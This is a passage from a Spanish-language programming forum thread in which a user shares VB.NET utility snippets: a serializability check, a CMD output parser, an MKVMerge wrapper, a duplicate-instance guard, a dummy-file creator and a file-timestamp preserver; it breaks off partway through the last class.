Como comprobar si un objeto es serializable:

Código
  1.    ' Is Object Serializable?
  2.    ' By Elektro
  3.    '
  4.    ' Usage Examples:
  5.    '
  6.    'MsgBox(IsObjectSerializable(New ArrayList From {"String Item"}, SerializationFormat.Xml)) ' Result: True
  7.    'MsgBox(IsObjectSerializable(New ArrayList From {New Object() {"Collection", "Of", "Strings"}})) ' Result: False
  8.    '
  9.    ''' <summary>
  10.    ''' Determines whether an object can be serialized.
  11.    ''' </summary>
  12.    ''' <param name="Object">The object.</param>
  13.    ''' <returns><c>true</c> if object can be serialized; otherwise, <c>false</c>.</returns>
  14.    Private Function IsObjectSerializable(ByVal [Object] As Object,
  15.                                          Optional ByVal SerializationFormat As SerializationFormat =
  16.                                                                                SerializationFormat.Xml) As Boolean
  17.  
  18.        Dim Serializer As Object
  19.  
  20.        Using fs As New IO.MemoryStream
  21.  
  22.            Select Case SerializationFormat
  23.  
  24.                Case Data.SerializationFormat.Binary
  25.                    Serializer = New Runtime.Serialization.Formatters.Binary.BinaryFormatter()
  26.  
  27.                Case Data.SerializationFormat.Xml
  28.                    Serializer = New Xml.Serialization.XmlSerializer([Object].GetType)
  29.  
  30.                Case Else
  31.                    Throw New ArgumentException("Invalid SerializationFormat", SerializationFormat)
  32.  
  33.            End Select
  34.  
  35.            Try
  36.                Serializer.Serialize(fs, [Object])
  37.                Return True
  38.  
  39.            Catch ex As InvalidOperationException
  40.                Return False
  41.  
  42.            End Try
  43.  
  44.        End Using ' fs As New MemoryStream
  45.  
  46.    End Function
  47.  



Ejemplo de sintaxis para una condicional de .Net Framework del proyecto.

Código
  1. #If NET20 Then
  2.        ' This happens when the app targets .NEt Framework 2.0
  3.  
  4. #ElseIf NET40 Then
  5.        ' This happens when the app targets .NEt Framework 4.0
  6.  
  7. #End If


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 3 Agosto 2014, 08:48 am
Ejemplo detallado de como parsear la salida estándar y la salida de error de un proceso, de forma asíncrona.

Código
  1.    ' Usage Examples:
  2.    ' MessageBox.Show(RunCommand(Command:="Dir /B /S C:\*.*", Find:=".exe"))
  3.    ' MessageBox.Show(RunCommand(Command:="Dir /B /S C:\*.*", Find:=".xXx"))
  4.  
  5.    ''' <summary>
  6.    ''' The Process Object.
  7.    ''' </summary>
  8.    Private WithEvents MyProcess As Process =
  9.        New Process With {.StartInfo =
  10.            New ProcessStartInfo With {
  11.                .CreateNoWindow = True,
  12.                .UseShellExecute = False,
  13.                .RedirectStandardError = True,
  14.                .RedirectStandardOutput = True
  15.           }
  16.        }
  17.  
  18.    ''' <summary>
  19.    ''' Indicates the string to search.
  20.    ''' </summary>
  21.    Private Find As String = String.Empty
  22.  
  23.    ''' <summary>
  24.    ''' Determines whether a result is found.
  25.    ''' </summary>
  26.    Private ResultFound As Boolean = False
  27.  
  28.    ''' <summary>
  29.    ''' Runs a command on the CMD.
  30.    ''' </summary>
  31.    ''' <param name="Command">Indicates the Command to run.</param>
  32.    ''' <param name="Find">Indicates a string to find in the Output.</param>
  33.    ''' <returns><c>true</c> if the specified string is found, <c>false</c> otherwise.</returns>
  34.    Public Function RunCommand(ByVal Command As String,
  35.                               ByVal Find As String) As Boolean
  36.  
  37.        Me.Find = Find
  38.        Me.ResultFound = False
  39.  
  40.        With MyProcess
  41.  
  42.            AddHandler .OutputDataReceived, AddressOf RunCommand_OutputDataReceived
  43.            AddHandler .ErrorDataReceived, AddressOf RunCommand_ErrorDataReceived
  44.  
  45.            .StartInfo.FileName = "CMD.exe"
  46.            .StartInfo.Arguments = "/C " & ControlChars.Quote & Command & ControlChars.Quote
  47.  
  48.            .Start()
  49.            .BeginOutputReadLine()
  50.            .BeginErrorReadLine()
  51.            .WaitForExit()
  52.  
  53.            RemoveHandler .OutputDataReceived, AddressOf RunCommand_OutputDataReceived
  54.            RemoveHandler .ErrorDataReceived, AddressOf RunCommand_ErrorDataReceived
  55.  
  56.        End With
  57.  
  58.        Return Me.ResultFound
  59.  
  60.    End Function
  61.  
  62.    ''' <summary>
  63.    ''' Handles the 'OutputDataReceived' of the 'RunCommand' method.
  64.    ''' </summary>
  65.    ''' <param name="sender">The source of the event.</param>
  66.    ''' <param name="e">The <see cref="DataReceivedEventArgs"/> instance containing the event data.</param>
  67.    Private Sub RunCommand_OutputDataReceived(ByVal sender As Object, ByVal e As DataReceivedEventArgs)
  68.  
  69.        If e.Data Is Nothing OrElse Me.ResultFound Then
  70.  
  71.            With MyProcess
  72.  
  73.                .CancelOutputRead()
  74.  
  75.                If Not .HasExited Then
  76.                    Try
  77.                        .Kill()
  78.                        Debug.WriteLine("Process killed successfully!")
  79.                    Catch ex As Exception
  80.                        Debug.WriteLine(ex.Message)
  81.                    End Try
  82.                End If
  83.  
  84.            End With
  85.  
  86.        ElseIf e.Data.ToLower.Contains(Me.Find.ToLower) Then
  87.            Me.ResultFound = True
  88.            Debug.WriteLine("StdOut: " & e.Data)
  89.            Debug.WriteLine("Result Found!")
  90.            Debug.WriteLine("Stopping CMD execution at this point...")
  91.  
  92.        Else
  93.            Debug.WriteLine("StdOut: " & e.Data)
  94.  
  95.        End If
  96.  
  97.    End Sub
  98.  
  99.    ''' <summary>
  100.    ''' Handles the 'ErrorDataReceived' of the 'RunCommand' method.
  101.    ''' </summary>
  102.    ''' <param name="sender">The source of the event.</param>
  103.    ''' <param name="e">The <see cref="DataReceivedEventArgs"/> instance containing the event data.</param>
  104.    Private Sub RunCommand_ErrorDataReceived(ByVal sender As Object, ByVal e As DataReceivedEventArgs)
  105.  
  106.        If e.Data Is Nothing OrElse Me.ResultFound Then
  107.  
  108.            With MyProcess
  109.  
  110.                .CancelErrorRead()
  111.  
  112.                If Not .HasExited Then
  113.                    Try
  114.                        .Kill()
  115.                        Debug.WriteLine("Process killed successfully!")
  116.                    Catch ex As Exception
  117.                        Debug.WriteLine(ex.Message)
  118.                    End Try
  119.                End If
  120.  
  121.            End With
  122.  
  123.        Else
  124.            Debug.WriteLine("StdErr: " & e.Data)
  125.  
  126.        End If
  127.  
  128.    End Sub



Un ayudante del proceso MKVMerge (de MKVToolnix)

No le aádí casi funcionalidades, solamente las que necesité usar:

Código
  1. ' ***********************************************************************
  2. ' Author           : Elektro
  3. ' Last Modified On : 07-24-2014
  4. ' ***********************************************************************
  5. ' <copyright file="MKVMergeHelper.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. 'Using MKVMerge As New MKVMergeHelper
  13.  
  14. '    MessageBox.Show(MKVMerge.Version)
  15. '    MessageBox.Show(MKVMerge.ContainsTrackType("File.mkv", MKVMergeHelper.TrackType.Subtitle))
  16.  
  17. 'End Using
  18.  
  19. #End Region
  20.  
  21. Public Class MKVMergeHelper : Implements IDisposable
  22.  
  23. #Region " Properties "
  24.  
  25.    ''' <summary>
  26.    ''' Gets or sets the mkvmerge.exe file location.
  27.    ''' </summary>
  28.    ''' <value>The MKVmerge.exe file location.</value>
  29.    Public Property MKVMergeLocation As String = ".\mkvmerge.exe"
  30.  
  31.    ''' <summary>
  32.    ''' Gets the MKVMerge.exe version.
  33.    ''' </summary>
  34.    ''' <value>The MKVMerge.exe version.</value>
  35.    Public ReadOnly Property Version As String
  36.        Get
  37.            Me.GetVersion()
  38.            Return Me._Version
  39.        End Get
  40.    End Property
  41.    Private _Version As String = String.Empty
  42.  
  43. #End Region
  44.  
  45. #Region " Other Objects "
  46.  
  47.    ''' <summary>
  48.    ''' The MKVMerge Process Object.
  49.    ''' </summary>
  50.    Private WithEvents procMKVMerge As Process =
  51.        New Process With {.StartInfo =
  52.            New ProcessStartInfo With {
  53.                .CreateNoWindow = True,
  54.                .UseShellExecute = False,
  55.                .RedirectStandardError = True,
  56.                .RedirectStandardOutput = True
  57.           }
  58.        }
  59.  
  60.    ''' <summary>
  61.    ''' Determines whether a file contains the specified track type.
  62.    ''' </summary>
  63.    Private TrackTypeFound As Boolean = False
  64.  
  65.    ''' <summary>
  66.    ''' Indicates the current tracktype to search.
  67.    ''' </summary>
  68.    Private CurrentTrackType As TrackType = Nothing
  69.  
  70. #End Region
  71.  
  72. #Region " Enumerations "
  73.  
  74.    ''' <summary>
  75.    ''' Specifies a type of track.
  76.    ''' </summary>
  77.    Public Enum TrackType As Integer
  78.  
  79.        ''' <summary>
  80.        ''' Video track.
  81.        ''' </summary>
  82.        Video = 0
  83.  
  84.        ''' <summary>
  85.        ''' Audio track.
  86.        ''' </summary>
  87.        Audio = 1
  88.  
  89.        ''' <summary>
  90.        ''' Subtitle.
  91.        ''' </summary>
  92.        Subtitle = 2
  93.  
  94.        ''' <summary>
  95.        ''' Attachment.
  96.        ''' </summary>
  97.        Attachment = 3
  98.  
  99.    End Enum
  100.  
  101. #End Region
  102.  
  103. #Region " Public Methods "
  104.  
  105.    ''' <summary>
  106.    ''' Determines whether mkvmerge.exe file exist.
  107.    ''' </summary>
  108.    ''' <returns><c>true</c> if mkvmerge.exe file exist; otherwise, <c>false</c>.</returns>
  109.    Public Function IsAvaliable() As Boolean
  110.  
  111.        Return IO.File.Exists(Me.MKVMergeLocation)
  112.  
  113.    End Function
  114.  
  115.    ''' <summary>
  116.    ''' Determines whether a file contains the specified track type.
  117.    ''' </summary>
  118.    ''' <param name="file">Indicates the file.</param>
  119.    ''' <param name="TrackType">Indicates the type of the track.</param>
  120.    ''' <returns><c>true</c> if the specified track type is found, <c>false</c> otherwise.</returns>
  121.    Public Function ContainsTrackType(ByVal file As String, ByVal TrackType As TrackType) As Boolean
  122.  
  123.        Me.CurrentTrackType = TrackType
  124.        Me.TrackTypeFound = False
  125.  
  126.        With procMKVMerge
  127.  
  128.            AddHandler .OutputDataReceived, AddressOf ContainsTrackType_OutputDataReceived
  129.  
  130.            .StartInfo.FileName = Me.MKVMergeLocation
  131.            .StartInfo.Arguments = String.Format("--identify ""{0}""", file)
  132.  
  133.            .Start()
  134.            .BeginOutputReadLine()
  135.            .WaitForExit()
  136.  
  137.            RemoveHandler .OutputDataReceived, AddressOf ContainsTrackType_OutputDataReceived
  138.  
  139.        End With
  140.  
  141.        Return Me.TrackTypeFound
  142.  
  143.    End Function
  144.  
  145. #End Region
  146.  
  147. #Region " Private Methods "
  148.  
  149.    ''' <summary>
  150.    ''' Gets the MKVMerge.exe file version.
  151.    ''' </summary>
  152.    ''' <returns>The MKVMerge.exe file version.</returns>
  153.    Private Function GetVersion() As String
  154.  
  155.        Me._Version = String.Empty
  156.  
  157.        With procMKVMerge
  158.  
  159.            AddHandler .OutputDataReceived, AddressOf GetVersion_OutputDataReceived
  160.  
  161.            .StartInfo.FileName = Me.MKVMergeLocation
  162.            .StartInfo.Arguments = String.Format("--version")
  163.  
  164.            .Start()
  165.            .BeginOutputReadLine()
  166.            .WaitForExit()
  167.  
  168.            RemoveHandler .OutputDataReceived, AddressOf GetVersion_OutputDataReceived
  169.  
  170.        End With
  171.  
  172.        Return Me.TrackTypeFound
  173.  
  174.    End Function
  175.  
  176. #End Region
  177.  
  178. #Region " Event Handlers "
  179.  
  180.    ''' <summary>
  181.    ''' Handles the OutputDataReceived of the ContainsTrackType method.
  182.    ''' </summary>
  183.    ''' <param name="sender">The source of the event.</param>
  184.    ''' <param name="e">The <see cref="DataReceivedEventArgs"/> instance containing the event data.</param>
  185.    ''' <exception cref="System.Exception"></exception>
  186.    Private Sub ContainsTrackType_OutputDataReceived(ByVal sender As Object, ByVal e As DataReceivedEventArgs)
  187.  
  188.        If e.Data Is Nothing OrElse Me.TrackTypeFound Then
  189.            With procMKVMerge
  190.                .CancelOutputRead()
  191.                If Not .HasExited Then
  192.                    Try
  193.                        .Kill()
  194.                    Catch
  195.                    End Try
  196.                End If
  197.            End With
  198.  
  199.        ElseIf e.Data.StartsWith("Error:", StringComparison.OrdinalIgnoreCase) Then
  200.            Throw New Exception(e.Data)
  201.  
  202.        ElseIf Me.CurrentTrackType = TrackType.Video _
  203.        AndAlso e.Data.ToLower Like "track id #*: video*" Then
  204.            Me.TrackTypeFound = True
  205.  
  206.        ElseIf Me.CurrentTrackType = TrackType.Audio _
  207.        AndAlso e.Data.ToLower Like "track id #*: audio*" Then
  208.            Me.TrackTypeFound = True
  209.  
  210.        ElseIf Me.CurrentTrackType = TrackType.Subtitle _
  211.        AndAlso e.Data.ToLower Like "track id #*: subtitle*" Then
  212.            Me.TrackTypeFound = True
  213.  
  214.        ElseIf Me.CurrentTrackType = TrackType.Attachment _
  215.        AndAlso e.Data.ToLower Like "attachment id*" Then
  216.            Me.TrackTypeFound = True
  217.  
  218.        End If
  219.  
  220.    End Sub
  221.  
  222.    ''' <summary>
  223.    ''' Handles the OutputDataReceived of the GetVersion method.
  224.    ''' </summary>
  225.    ''' <param name="sender">The source of the event.</param>
  226.    ''' <param name="e">The <see cref="DataReceivedEventArgs"/> instance containing the event data.</param>
  227.    ''' <exception cref="System.Exception"></exception>
  228.    Private Sub GetVersion_OutputDataReceived(ByVal sender As Object, ByVal e As DataReceivedEventArgs)
  229.  
  230.        If e.Data Is Nothing OrElse Not String.IsNullOrEmpty(Me._Version) Then
  231.            With procMKVMerge
  232.                .CancelOutputRead()
  233.                If Not .HasExited Then
  234.                    Try
  235.                        .Kill()
  236.                    Catch
  237.                    End Try
  238.                End If
  239.            End With
  240.  
  241.        ElseIf e.Data.StartsWith("Error:", StringComparison.OrdinalIgnoreCase) Then
  242.            Throw New Exception(e.Data)
  243.  
  244.        ElseIf e.Data.ToLower Like "mkvmerge v#.*" Then
  245.            Me._Version = e.Data.Split()(1).Substring(1)
  246.  
  247.        End If
  248.  
  249.    End Sub
  250.  
  251. #End Region
  252.  
  253. #Region " IDisposable "
  254.  
  255.    ''' <summary>
  256.    ''' To detect redundant calls when disposing.
  257.    ''' </summary>
  258.    Private IsDisposed As Boolean = False
  259.  
  260.    ''' <summary>
  261.    ''' Prevents calls to methods after disposing.
  262.    ''' </summary>
  263.    Private Sub DisposedCheck()
  264.        If Me.IsDisposed Then
  265.            Throw New ObjectDisposedException(Me.GetType().FullName)
  266.        End If
  267.    End Sub
  268.  
  269.    ''' <summary>
  270.    ''' Disposes the objects generated by this instance.
  271.    ''' </summary>
  272.    Public Sub Dispose() Implements IDisposable.Dispose
  273.        Dispose(True)
  274.        GC.SuppressFinalize(Me)
  275.    End Sub
  276.  
  277.    ' IDisposable
  278.    Protected Overridable Sub Dispose(IsDisposing As Boolean)
  279.  
  280.        If Not Me.IsDisposed Then
  281.  
  282.            If IsDisposing Then
  283.                procMKVMerge.Dispose()
  284.            End If
  285.  
  286.        End If
  287.  
  288.        Me.IsDisposed = True
  289.  
  290.    End Sub
  291.  
  292. #End Region
  293.  
  294. End Class



¿Como prevenir la instancia de una Class si ya tienes otra Class instanciada a la que le pasaste el mismo parámetro a su constructor?, pues de esta manera:

Código
  1. #Region " Example Usage "
  2.  
  3. 'Private Sub Test() Handles MyBase.Shown
  4. '
  5. '    Dim MyObject As Byte = 0
  6. '
  7. '    Using TestObj1 As New TestClass(MyObject)
  8. '
  9. '        Try
  10. '            Dim TestObj2 As New TestClass(MyObject)
  11. '
  12. '        Catch ex As Exception
  13. '            MessageBox.Show(ex.Message)
  14. '
  15. '        End Try
  16. '
  17. '    End Using
  18. '
  19. 'End Sub
  20.  
  21. #End Region
  22.  
  23. #Region " TestClass "
  24.  
  25. Public Class TestClass : Implements IDisposable
  26.  
  27.    Private Shared InstancedObjects As New List(Of Object)
  28.    Private _MyObject As Object
  29.  
  30.    Public Sub New(ByVal Parameter As Object)
  31.  
  32.        If Not InstancedObjects.Contains(Parameter) Then
  33.  
  34.            Me._MyObject = Parameter
  35.            InstancedObjects.Add(Parameter)
  36.  
  37.        Else
  38.  
  39.            Throw New Exception(String.Format("Another open instance of the '{0}' class is using the same '{1}' object.",
  40.                                              MyBase.GetType.Name, Parameter.GetType.Name))
  41.  
  42.        End If
  43.  
  44.    End Sub
  45.  
  46. #Region " IDisposable "
  47.  
  48.    ''' <summary>
  49.    ''' To detect redundant calls when disposing.
  50.    ''' </summary>
  51.    Private IsDisposed As Boolean = False
  52.  
  53.    ''' <summary>
  54.    ''' Prevent calls to methods after disposing.
  55.    ''' </summary>
  56.    ''' <exception cref="System.ObjectDisposedException"></exception>
  57.    Private Sub DisposedCheck()
  58.  
  59.        If Me.IsDisposed Then
  60.            Throw New ObjectDisposedException(Me.GetType.FullName)
  61.        End If
  62.  
  63.    End Sub
  64.  
  65.    ''' <summary>
  66.    ''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
  67.    ''' </summary>
  68.    Public Sub Dispose() Implements IDisposable.Dispose
  69.        Me.Dispose(True)
  70.        GC.SuppressFinalize(Me)
  71.    End Sub
  72.  
  73.    ''' <summary>
  74.    ''' Releases unmanaged and - optionally - managed resources.
  75.    ''' </summary>
  76.    ''' <param name="IsDisposing">
  77.    ''' <c>true</c> to release both managed and unmanaged resources;
  78.    ''' <c>false</c> to release only unmanaged resources.
  79.    ''' </param>
  80.    Protected Sub Dispose(ByVal IsDisposing As Boolean)
  81.  
  82.        If Not Me.IsDisposed Then
  83.  
  84.            If IsDisposing Then
  85.                InstancedObjects.Remove(Me._MyObject)
  86.            End If
  87.  
  88.        End If
  89.  
  90.        Me.IsDisposed = True
  91.  
  92.    End Sub
  93.  
  94. #End Region
  95.  
  96. End Class
  97.  
  98. #End Region
  99.  


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 3 Agosto 2014, 08:51 am
Como crear un archivo dummy (vacío) de cualquier tamaño:

Código
  1.    ' Create Dummy File
  2.    ' By Elektro
  3.    '
  4.    ' Usage Examples:
  5.    ' CreateDummyFile("C:\DummyFile.tmp", 1024L ^ 3L) ' File with 1 GB size.
  6.    '
  7.    ''' <summary>
  8.    ''' Creates a dummy zero-filled file.
  9.    ''' </summary>
  10.    ''' <param name="Filepath">Indicates the filepath.</param>
  11.    ''' <param name="Length">Indicates the size, in Bytes.</param>
  12.    Public Sub CreateDummyFile(ByVal Filepath As String,
  13.                               Optional ByVal Length As Long = 0)
  14.  
  15.        Using fs As New IO.FileStream(Filepath, IO.FileMode.CreateNew)
  16.            fs.SetLength(Length)
  17.        End Using
  18.  
  19.    End Sub



Preserva, Restaura, o Establece las fechas de un archivo.

Nota: Esta versión tiene ciertas mejoras a la versión que publiqué en el foro, la mejora en concreto es la de poder restaurar las fechas si un archivo ha cambiado de ubicación o de nombre.

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 07-22-2014
  4. ' ***********************************************************************
  5. ' <copyright file="FileDater.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. #Region " Example 1 "
  13.  
  14. '' Instance a test FileInfo using an unique temp file.
  15. 'Using fd As New FileDater(File:=New IO.FileInfo(IO.Path.GetTempFileName))
  16. '
  17. '    ' Preserve the current date-modified of the file.
  18. '    fd.Preserve(FileDater.DateType.Modified)
  19. '
  20. '    ' Do some kind of operation that alters the current date-modified of the file.
  21. '    IO.File.AppendAllText(fd.File.FullName, New String("X"c, 10I))
  22. '
  23. '    ' Restore the previously preserved date-modified on the TestFile.
  24. '    fd.Restore(FileDater.DateType.Modified)
  25.  
  26. 'End Using '/ fd
  27.  
  28. #End Region
  29.  
  30. #Region " Example 2 "
  31.  
  32. '' Declare a test filepath.
  33. 'Dim TestFile As String = "C:\Testfile.tmp"
  34. '
  35. '' Create the test file.
  36. 'If Not IO.File.Exists(TestFile) Then
  37. '    Using fs As New IO.FileStream(TestFile, IO.FileMode.CreateNew, IO.FileAccess.ReadWrite)
  38. '    End Using
  39. 'End If
  40. '
  41. '' Instance the FileDater Class.
  42. 'Using fd As New FileDater(File:=TestFile)
  43. '
  44. '    ' Preserve all the current dates of the TestFile.
  45. '    fd.Preserve()
  46. '
  47. '    ' Print the preserved dates in the debug console.
  48. '    Debug.WriteLine(String.Format("Preserved Creation   Date: {0}", fd.PreservedCreationDate.ToString))
  49. '    Debug.WriteLine(String.Format("Preserved LastAccess Date: {0}", fd.PreservedLastAccessDate.ToString))
  50. '    Debug.WriteLine(String.Format("Preserved LastModify Date: {0}", fd.PreservedLastModifyDate.ToString))
  51. '
  52. '    ' Copy the testfile to other location.
  53. '    IO.File.Copy(fd.File.FullName, "C:\New Testfile.tmp", True)
  54. '
  55. '    ' Assign the new location in the instanced FileDater.
  56. '    fd.SetFileLocation("C:\New Testfile.tmp")
  57. '
  58. '    ' Modify all the dated on the copied TestFile.
  59. '    fd.Set(Date.Parse("01/01/2015"))
  60. '
  61. '    ' Restore all the previously preserved dates on the new TestFile.
  62. '    fd.Restore()
  63. '
  64. '    ' Print the current testfile dates in the debug console.
  65. '    Debug.WriteLine(String.Format("Current Creation   Date: {0}", fd.File.CreationTime.ToString))
  66. '    Debug.WriteLine(String.Format("Current LastAccess Date: {0}", fd.File.LastAccessTime.ToString))
  67. '    Debug.WriteLine(String.Format("Current LastModify Date: {0}", fd.File.LastWriteTime.ToString))
  68. '
  69. 'End Using
  70.  
  71. #End Region
  72.  
  73. #End Region
  74.  
  75. #Region " Imports "
  76.  
  77. Imports System.ComponentModel
  78. Imports System.IO
  79.  
  80. #End Region
  81.  
  82. #Region " FileDater "
  83.  
  84. ''' <summary>
  85. ''' Contains methods to preserve, set, and restore the dates contained on file.
  86. ''' </summary>
  87. Public NotInheritable Class FileDater : Implements IDisposable
  88.  
  89. #Region " Objects "
  90.  
  91.    ''' <summary>
  92.    ''' Contains the files that are already used in the constructor to prevent a duplicated instance for the same file.
  93.    ''' </summary>
  94.    Private Shared InstancedFiles As New List(Of FileInfo)
  95.  
  96. #End Region
  97.  
  98. #Region " Properties "
  99.  
  100.    ''' <summary>
  101.    ''' Gets the file.
  102.    ''' </summary>
  103.    ''' <value>The file.</value>
  104.    Public ReadOnly Property [File] As FileInfo
  105.        Get
  106.            Return Me._File
  107.        End Get
  108.    End Property
  109.    Private _File As FileInfo
  110.  
  111.    ''' <summary>
  112.    ''' Gets the type of the current preserved dates.
  113.    ''' </summary>
  114.    Public ReadOnly Property PreservedTypes As DateType
  115.        Get
  116.            Return Me._PreservedTypes
  117.        End Get
  118.    End Property
  119.    Private _PreservedTypes As DateType = Nothing
  120.  
  121.    ''' <summary>
  122.    ''' Gets the preserved creation date.
  123.    ''' </summary>
  124.    ''' <value>The preserved creation date.</value>
  125.    Public ReadOnly Property PreservedCreationDate As Date
  126.        Get
  127.            Return Me._PreservedCreationDate
  128.        End Get
  129.    End Property
  130.    Private _PreservedCreationDate As Date
  131.  
  132.    ''' <summary>
  133.    ''' Gets the preserved last-access date.
  134.    ''' </summary>
  135.    ''' <value>The preserved creation date.</value>
  136.    Public ReadOnly Property PreservedLastAccessDate As Date
  137.        Get
  138.            Return Me._PreservedLastAccessDate
  139.        End Get
  140.    End Property
  141.    Private _PreservedLastAccessDate As Date
  142.  
  143.    ''' <summary>
  144.    ''' Gets the preserved last-modify date.
  145.    ''' </summary>
  146.    ''' <value>The preserved creation date.</value>
  147.    Public ReadOnly Property PreservedLastModifyDate As Date
  148.        Get
  149.            Return Me._PreservedLastModifyDate
  150.        End Get
  151.    End Property
  152.    Private _PreservedLastModifyDate As Date
  153.  
  154. #End Region
  155.  
  156. #Region " Enumerations "
  157.  
  158.    ''' <summary>
  159.    ''' Contains a FileDate flag.
  160.    ''' </summary>
  161.    <FlagsAttribute>
  162.    Public Enum DateType As Integer
  163.  
  164.        ''' <summary>
  165.        ''' The date when the file was created.
  166.        ''' </summary>
  167.        Created = 1I
  168.  
  169.        ''' <summary>
  170.        ''' The date when the file was accessed by last time.
  171.        ''' </summary>
  172.        Accessed = 2I
  173.  
  174.        ''' <summary>
  175.        ''' The date when the file was modified by last time.
  176.        ''' </summary>
  177.        Modified = 4I
  178.  
  179.    End Enum
  180.  
  181. #End Region
  182.  
  183. #Region " Constructors "
  184.  
  185.    ''' <summary>
  186.    ''' Initializes a new instance of the <see cref="FileDater"/> class.
  187.    ''' </summary>
  188.    ''' <param name="File">Indicates the <see cref="FileInfo"/> instance.</param>
  189.    ''' <exception cref="System.Exception"></exception>
  190.    Public Sub New(ByVal [File] As FileInfo)
  191.  
  192.        If Not InstancedFiles.Contains([File]) Then
  193.            Me._File = [File]
  194.            InstancedFiles.Add([File])
  195.  
  196.        Else
  197.            Throw New Exception(String.Format("Another instance of the '{0}' class is using the same file.", MyBase.GetType.Name))
  198.  
  199.        End If
  200.  
  201.    End Sub
  202.  
  203.    ''' <summary>
  204.    ''' Initializes a new instance of the <see cref="FileDater"/> class.
  205.    ''' </summary>
  206.    ''' <param name="File">Indicates the file.</param>
  207.    Public Sub New(ByVal [File] As String)
  208.        Me.New(New FileInfo([File]))
  209.    End Sub
  210.  
  211.    ''' <summary>
  212.    ''' Prevents a default instance of the <see cref="FileDater"/> class from being created.
  213.    ''' </summary>
  214.    Private Sub New()
  215.    End Sub
  216.  
  217. #End Region
  218.  
  219. #Region " Hidden Methods "
  220.  
  221.    ''' <summary>
  222.    ''' Serves as a hash function for a particular type.
  223.    ''' </summary>
  224.    <EditorBrowsable(EditorBrowsableState.Never)>
  225.    Public Shadows Sub GetHashCode()
  226.    End Sub
  227.  
  228.    ''' <summary>
  229.    ''' Determines whether the specified System.Object instances are considered equal.
  230.    ''' </summary>
  231.    <EditorBrowsable(EditorBrowsableState.Never)>
  232.    Public Shadows Sub Equals()
  233.    End Sub
  234.  
  235.    ''' <summary>
  236.    ''' Determines whether the specified System.Object instances are the same instance.
  237.    ''' </summary>
  238.    <EditorBrowsable(EditorBrowsableState.Never)>
  239.    Private Shadows Sub ReferenceEquals()
  240.    End Sub
  241.  
  242.    ''' <summary>
  243.    ''' Returns a String that represents the current object.
  244.    ''' </summary>
  245.    <EditorBrowsable(EditorBrowsableState.Never)>
  246.    Public Shadows Sub ToString()
  247.    End Sub
  248.  
  249. #End Region
  250.  
  251. #Region " Public Methods "
  252.  
  253.    ''' <summary>
  254.    ''' Preserves the specified dates of the file to restore them later at any time.
  255.    ''' Note: Dates can be preserved again at any time.
  256.    ''' </summary>
  257.    ''' <param name="DateType">Indicates the type of dates to preserve.</param>
  258.    Public Sub Preserve(ByVal DateType As DateType)
  259.  
  260.        Me.DisposedCheck()
  261.  
  262.        ' Creation
  263.        If DateType.HasFlag(FileDater.DateType.Created) Then
  264.            Me._PreservedCreationDate = Me._File.CreationTime
  265.        End If
  266.  
  267.        ' Accessed
  268.        If DateType.HasFlag(FileDater.DateType.Accessed) Then
  269.            Me._PreservedLastAccessDate = Me._File.LastAccessTime
  270.        End If
  271.  
  272.        ' Modified
  273.        If DateType.HasFlag(FileDater.DateType.Modified) Then
  274.            Me._PreservedLastModifyDate = Me._File.LastWriteTime
  275.        End If
  276.  
  277.        Me._PreservedTypes = DateType
  278.  
  279.    End Sub
  280.  
  281.    ''' <summary>
  282.    ''' Preserves at once all the dates of the file to restore them later at any time.
  283.    ''' Note: Dates can be preserved again at any time.
  284.    ''' </summary>
  285.    Public Sub Preserve()
  286.  
  287.        Me.DisposedCheck()
  288.  
  289.        Me._PreservedCreationDate = Me._File.CreationTime
  290.        Me._PreservedLastAccessDate = Me._File.LastAccessTime
  291.        Me._PreservedLastModifyDate = Me._File.LastWriteTime
  292.  
  293.        Me._PreservedTypes = DateType.Created Or DateType.Accessed Or DateType.Modified
  294.  
  295.    End Sub
  296.  
  297.    ''' <summary>
  298.    ''' Restores the specified preserved dates on the file.
  299.    ''' Note: Calling this method does not cause the deletion of any preserved date.
  300.    ''' </summary>
  301.    ''' <param name="DateType">Indicates the type of dates to restore on the file.</param>
  302.    ''' <exception cref="System.Exception">Any date was preserved.</exception>
  303.    Public Sub Restore(ByVal DateType As DateType)
  304.  
  305.        Me.DisposedCheck()
  306.  
  307.        ' Creation
  308.        If DateType.HasFlag(FileDater.DateType.Created) _
  309.        AndAlso Me._PreservedTypes.HasFlag(FileDater.DateType.Created) Then
  310.  
  311.            Me._File.CreationTime = Me._PreservedCreationDate
  312.  
  313.        ElseIf DateType.HasFlag(FileDater.DateType.Created) _
  314.        AndAlso Not Me._PreservedTypes.HasFlag(FileDater.DateType.Created) Then
  315.  
  316.            Throw New Exception(String.Format("The specified date was not preserved.")) With {
  317.                .Source = FileDater.DateType.Created.ToString
  318.            }
  319.  
  320.        End If
  321.  
  322.        ' Accessed
  323.        If DateType.HasFlag(FileDater.DateType.Accessed) _
  324.        AndAlso Me._PreservedTypes.HasFlag(FileDater.DateType.Accessed) Then
  325.  
  326.            Me._File.LastAccessTime = Me._PreservedLastAccessDate
  327.  
  328.        ElseIf DateType.HasFlag(FileDater.DateType.Accessed) _
  329.        AndAlso Not Me._PreservedTypes.HasFlag(FileDater.DateType.Accessed) Then
  330.  
  331.            Throw New Exception(String.Format("The specified date was not preserved.")) With {
  332.                .Source = FileDater.DateType.Accessed.ToString
  333.            }
  334.  
  335.        End If
  336.  
  337.        ' Modified
  338.        If DateType.HasFlag(FileDater.DateType.Modified) _
  339.        AndAlso Me._PreservedTypes.HasFlag(FileDater.DateType.Modified) Then
  340.  
  341.            Me._File.LastWriteTime = Me._PreservedLastModifyDate
  342.  
  343.        ElseIf DateType.HasFlag(FileDater.DateType.Modified) _
  344.        AndAlso Not Me._PreservedTypes.HasFlag(FileDater.DateType.Modified) Then
  345.  
  346.            Throw New Exception(String.Format("The specified date was not preserved.")) With {
  347.                .Source = FileDater.DateType.Modified.ToString
  348.            }
  349.  
  350.        End If
  351.  
  352.    End Sub
  353.  
  354.    ''' <summary>
